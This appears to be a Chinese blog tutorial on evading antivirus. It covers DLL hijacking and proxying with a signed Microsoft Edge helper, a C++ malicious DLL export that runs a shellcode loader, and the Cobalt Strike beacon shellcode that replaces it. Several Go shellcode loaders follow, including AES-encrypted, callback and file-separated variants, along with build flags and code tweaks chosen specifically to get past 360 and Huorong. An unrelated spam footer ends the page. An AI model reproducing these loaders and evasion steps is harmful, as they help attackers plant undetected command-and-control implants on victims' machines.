此时进行DLL调试,打断点,需要注意的是,无论是修改代码或打断点后,都需要重新生成解决方案再进行调试

然后点击【Windows本地调试器】进行本地调试

按【F5】退出调试。

白加黑制作上线CSSkyShadow工具首先将SkyShadow-main\Tools添加至环境变量

1python SkyShadow.py "目标文件加路径"

会生成一个Payload目录,其中标有数字签名的可能是我们需要的白程序

尝试运行 identity_helper.exe,发现提示缺少 msedge_elf.dll,无法正常运行

再看生成的.txt文件,标注了缺少的dll和需要的具体函数,按照缺少的东西制作黑DLL即可

制作黑DLL上线CS直接将导出函数放在dllmain.cpp中即可,直接把txt中写好的导出函数复制过去即可

【生成解决方案】后,将dll文件放至目标exe目录下,运行exe,可以看到两个函数都被调用了

GetInstallDetailsPayload() 被调用

SignalInitializeCrashReporting() 被调用

所以在两个函数中的任意一个写shellcode加载器即可,现尝试弹计算器的shellcode

12345678910111213141516171819202122232425262728293031323334353637383940// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"extern "C" __declspec(dllexport) int GetInstallDetailsPayload() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; //1、申请内存 LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //2、拷贝 shellcode 到内存 memcpy(addr, buf, sizeof(buf)); //3、执行内存中的shellcode //创建线程执行 HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL); //等待线程运行 WaitForSingleObject(hThread, -1); //关闭线程 CloseHandle(hThread);}extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() { MessageBoxA(NULL, "SignalInitializeCrashReporting", 0, 0); return 0;}BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

运行exe,直接弹出计算器

将shellcode替换为sgn加密过的上线CS的shellcode,成功上线CS

360查杀过了

实战利用DLL劫持与DLL代理**DLL劫持:**一个程序在启动时会加载某个DLL文件,攻击者将那个DLL文件替换为黑DLL,在导出函数中写入shellcode加载器,当受害者运行程序,加载黑DLL文件时便执行shellcode加载代码,攻击者CS上线。

**DLL代理:**程序要调用xxx.dll,攻击者创建了一个黑dll,名字也叫做xxx.dll,这个黑dll文件会接受程序的调用,先执行一些恶意代码,然后这个黑dll再调用真正的xxx.dll完成原视操作。

利用郑神自研工具:https://github.com/l1uyi/autoDllProxy

Go语言免杀Go调用Windows api1234567891011121314151617181920212223242526272829303132333435package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api地址 VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") //弹计算器shellcode buf := []byte{0xfc, 0x48, 0x83, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、创建线程 thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) //6、等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF) //关闭 kernel32.dll kernel32.Release()}

uinptruinptr不是指针,而是一个可以”装下指针地址的整数”,是为了和操作系统底层操作而设计的。

为什么返回3个参数Call方法如下所示:

123func (p *Proc) Call(a ...uintptr) (uintptr, uintptr, error) { return SyscallN(p.Addr(), a...)}

返回三个参数,第一个返回参数p.Addr()为Windows api地址

Go编写shellcode加载器Go语言编译1go build main.go -o exp.exe

-o:指定输出文件名

减少体积编译(推荐使用)

1go build -ldflags="-w -s" -o shellcode.exe main.go

-w:禁用调试信息生成

-s:禁用符号表

隐藏CMD黑窗口(360会误杀)

1go build -ldflags="-w -s -H windowsgui" -o shellcode.exe main.go

-H windowgui:隐藏CMD黑窗口

隐藏源码路径信息

1go build -o shellcode.exe -ldflags="-w -s" -trimpath main.go

Go编译一个程序时,会把编译器生成的源码路径,如 /home/user/project/main.go浅入到可执行文件中。

当反编译xxx.exe时,就会看到/home/user/免杀项目/main.go,可能会导致信息泄露,特征命中

-trimpath:隐藏源码路径信息

创建线程执行123456789101112131415161718192021222324252627282930313233package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") buf := []byte{0xe8, 0xa0, 0x03, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、创建线程 thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) //6、等待线程创建 WaitForSingleObject.Call(thread, 0xFFFFFFFF) //关闭 kernel32.dll kernel32.Release()}

回调函数运行1234567891011121314151617181920212223242526272829package mainimport ( "syscall" "unsafe")func main() { //1、MustLoadDLL方法 -> 加载Kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") //2、MustFindProc -> 获取Windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") buf := []byte{0xe8, 0xa0, 0x03, ...} //3、申请内存,通过函数名.Call调用 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) //4、复制buf到申请的内存中 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) //5、回调函数运行 EnumDateFormatsA.Call(addr, 0, 0) kernel32.Release()}

本地分离1234567891011121314151617181920212223package mainimport ( "fmt" "os" "syscall" "unsafe")func main() { byteSlice, err := os.ReadFile("pd_x64.ini") if err != nil { fmt.Println("config file is not exist") return } kernel32 := syscall.MustLoadDLL("kernel32.dll") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") addr, _, _ := VirtualAlloc.Call(0, uintptr(len(byteSlice)), 0x1000, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&byteSlice[0])), uintptr(len(byteSlice))) syscall.Syscall(addr, 0, 0, 0, 0)}

注意

1"github.com/spf13/cobra"

已经成为了默认查杀点,所以需要去掉

关闭黑窗口编译参数消除黑框

1-H windowsgui

写函数消除黑框

360会杀这种写法

123456789101112131415import "github.com/gonutz/ide/w32"func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } }}func main() { closeWindows(w32.SW_HIDE)}

调用windows api,Win10/Win11

123456789101112var( kernel32 = syscall.MustLoadDLL("kernel32.dll") procFreeConsole = kernel32.MustFindProc("FreeConsole"))func HideConsoleWindow() { procFreeConsole.Call()}func main() { HideConsoleWindow()}

360免杀绕过需要知道报QVM错误代表文件结构有问题,而非代码有问题

在360安全卫士【安全操作中心】-> 【上报记录】中可以查看云传检查结果

如图所示,云传结果通常有3种,”木马病毒”、”低风险”、”未发现风险”

其中”低风险”基本可以等效于”永久免杀”

而”未发现风险”依然有可能被杀,只是时间问题。

首先要确认免杀思路,一是”.exe”的问题(即编译参数、签名、资源信息等),二是代码本身的问题。

.exe层面免杀(1) 编译参数

使用工具 CheckGoBuild,使用10中不同的参数进行编译,看哪些会被杀,代码使用打印hello world

“-race”和”-ldflags= -H windowsgui”这两个编译参数可能会被360查杀

推荐使用的编译参数如下

1go build -o main.exe -ldflags="-w -s" -trimpath main.go

测试去除黑框代码,360不报毒如下所示

1234567891011import "github.com/gonutz/ide/w32"func closeWindows(commandShow uintptr) { console := w32.GetConsoleWindow() if console != 0 { _, consoleProcID := w32.GetWindowThreadProcessId(console) if w32.GetCurrentProcessId() == consoleProcID { w32.ShowWindowAsync(console, commandShow) } }}

(2) 其他因素

加签名、加资源文件、加壳、控制熵值等等。

代码层面免杀(1) 调用windows api的包

之前用的是 syscall 包来调用 windows api

123456789import ( "syscall")func main() { kernel32 := syscall.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call() kernel32.Release()}

若 syscall 被查杀,可以换成另一个包 golang.org/x/sys/windows

123456789import ( "golang.org/x/sys/windows")func main() { kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()}

(2) 加载DLL的方法

除了 MustLoadDLL,还有 NewLazyDLL方法可以使用

123MustLoadDLL 和 NewLazyDLL 的区别:1、返回类型不一样:一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针2、加载时间不一样:MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载, 在程序运行时调用 DLL 函数时才加载 DLL 文件

MustLoadDLL已经被常见杀软标记特征,所以推荐使用 NewLazyDLL

1234567891011121314import ( "syscall" "unsafe")func main() { kernel32 := syscall.NewLazyDLL("kernel32.dll") VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") buf := []byte{0xe8, 0xa0, 0x03...} addr, _, _ := VirtualAlloc.Call(0, uintptr(len(buf)), 0x1000|0x2000, 0x40) RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&buf[0])), uintptr(len(buf))) syscall.Syscall(addr, 0, 0, 0, 0)}

制作360免杀马shellcode,尝试sgn + aes加密

aes加密代码

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100package mainimport ( "bytes" "crypto/aes" "fmt")func AesEncryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { return nil, fmt.Errorf("invalid key length") } // 将 key 转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 补码 originByte := PKCS7Padding(data, blockSize) // 创建保存加密结果的变量 encryptResult := make([]byte, len(originByte)) // ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密 for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Encrypt(encryptResult[bs:be], originByte[bs:be]) } return encryptResult, nil}// 补码func PKCS7Padding(originByte []byte, blockSize int) []byte { // 计算补码长度 padding := blockSize - len(originByte)%blockSize // 生成补码 padText := bytes.Repeat([]byte{byte(padding)}, padding) // 追加补码 return append(originByte, padText...)}func AesDecryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } // 密钥转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 反解密码 base64 originByte := data // 创建保存解密变量 decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } // 解码 return PKCS7UNPadding(decrypted), nil}// 解码func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]}func main() { // 1-255 key := "1234567890abcdef" shellcode := []byte{0xe8, 0xa0, 0x03...} // 加密消息 encrypted, _ := AesEncryptByECB(shellcode, key) hexData := "" for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b) } // 移除末尾的逗号和空格 hexData = hexData[:len(hexData)-1] // 打印16进制数据 fmt.Printf("加密后的消息:\n%s", hexData) // 解密消息 decrypted, _ := AesDecryptByECB(encrypted, key) dhexData := "" for _, b := range decrypted { dhexData += fmt.Sprintf("0x%02x,", b) } // 移除末尾的逗号和空格 dhexData = dhexData[:len(dhexData)-1] // 打印16进制数据 fmt.Printf("解密后的消息:\n%s", dhexData)}

写加载器

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364package mainimport ( "crypto/aes" "syscall" "unsafe")const ( MEM_COMMIT = 0x1000 PAGE_EXECUTE_READWRITE = 0x40)func AesDecryptByECB(data []byte, key string) ([]byte, error) { // 判断 key 长度 keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok { } // 密钥转为 []byte keyByte := []byte(key) // 创建密码组,长度只能是 16、24、32 字节 block, err := aes.NewCipher(keyByte) if err != nil { return nil, err } // 获取密钥长度 blockSize := block.BlockSize() // 反解密码 base64 originByte := data // 创建保存解密变量 decrypted := make([]byte, len(originByte)) for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize { block.Decrypt(decrypted[bs:be], originByte[bs:be]) } // 解码 return PKCS7UNPadding(decrypted), nil}// 解码func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte) unpadding := int(originDataByte[length-1]) return originDataByte[:(length - unpadding)]}func main() { // 1.加载kernel32.dll kernel32 := syscall.MustLoadDLL("kernel32.dll") // 2.获取windows api VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject") encrypted := []byte{0xaa, 0x85, 0x9d, ...} key := "1234567890abcdef" shellcode_buf, _ := AesDecryptByECB(encrypted, key) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT, 0x40) RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf))) h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) WaitForSingleObject.Call(h, 0xfffffff) // 7.关闭 DLL kernel32.Release()}

先使用bypassQVM工具添加资源文件信息

1python QVM250.py -d test -n 10

然后加签名即可

反反复复尝试了很多使用Go写的变形免杀马,只能达到”未发现风险”的效果而非”低风险”,之后是否还要用Go还有待考量。

火绒免杀绕过火绒的免杀相比360就比较鸡肋了。火绒不杀 “-H windowsgui”

所以可以直接一把梭命令编译

1go build -o ceshi.exe -ldflags="-w -s -H windowsgui" -trimpath main.go

sss火绒查杀点(1) shellcode特征,这个sgn/aes这种强加密可以直接过掉

(2) 函数参数,如 0x1000|0x2000 需要替换为 0x1000

创建线程执行即可免杀,代码如上所示,不做赘述。

经过测试,发现火绒还查杀 VirtualAlloc.Call中的参数,直接写0x1000就好

0x1000|0x2000:先预留一段内存,再提交内存

0x1000:直接提交内存

相关推荐

逆战 盘点速通的猎场地图 适合完成任务的优先之选
365提款不到账的吗

逆战 盘点速通的猎场地图 适合完成任务的优先之选

📅 07-30 👁️ 5767
windows7如何停止服务器
office365 登录

windows7如何停止服务器

📅 09-08 👁️ 5717
09月10日 世界杯预选赛 中国vs沙特比赛前瞻分析以及阵容首发预测!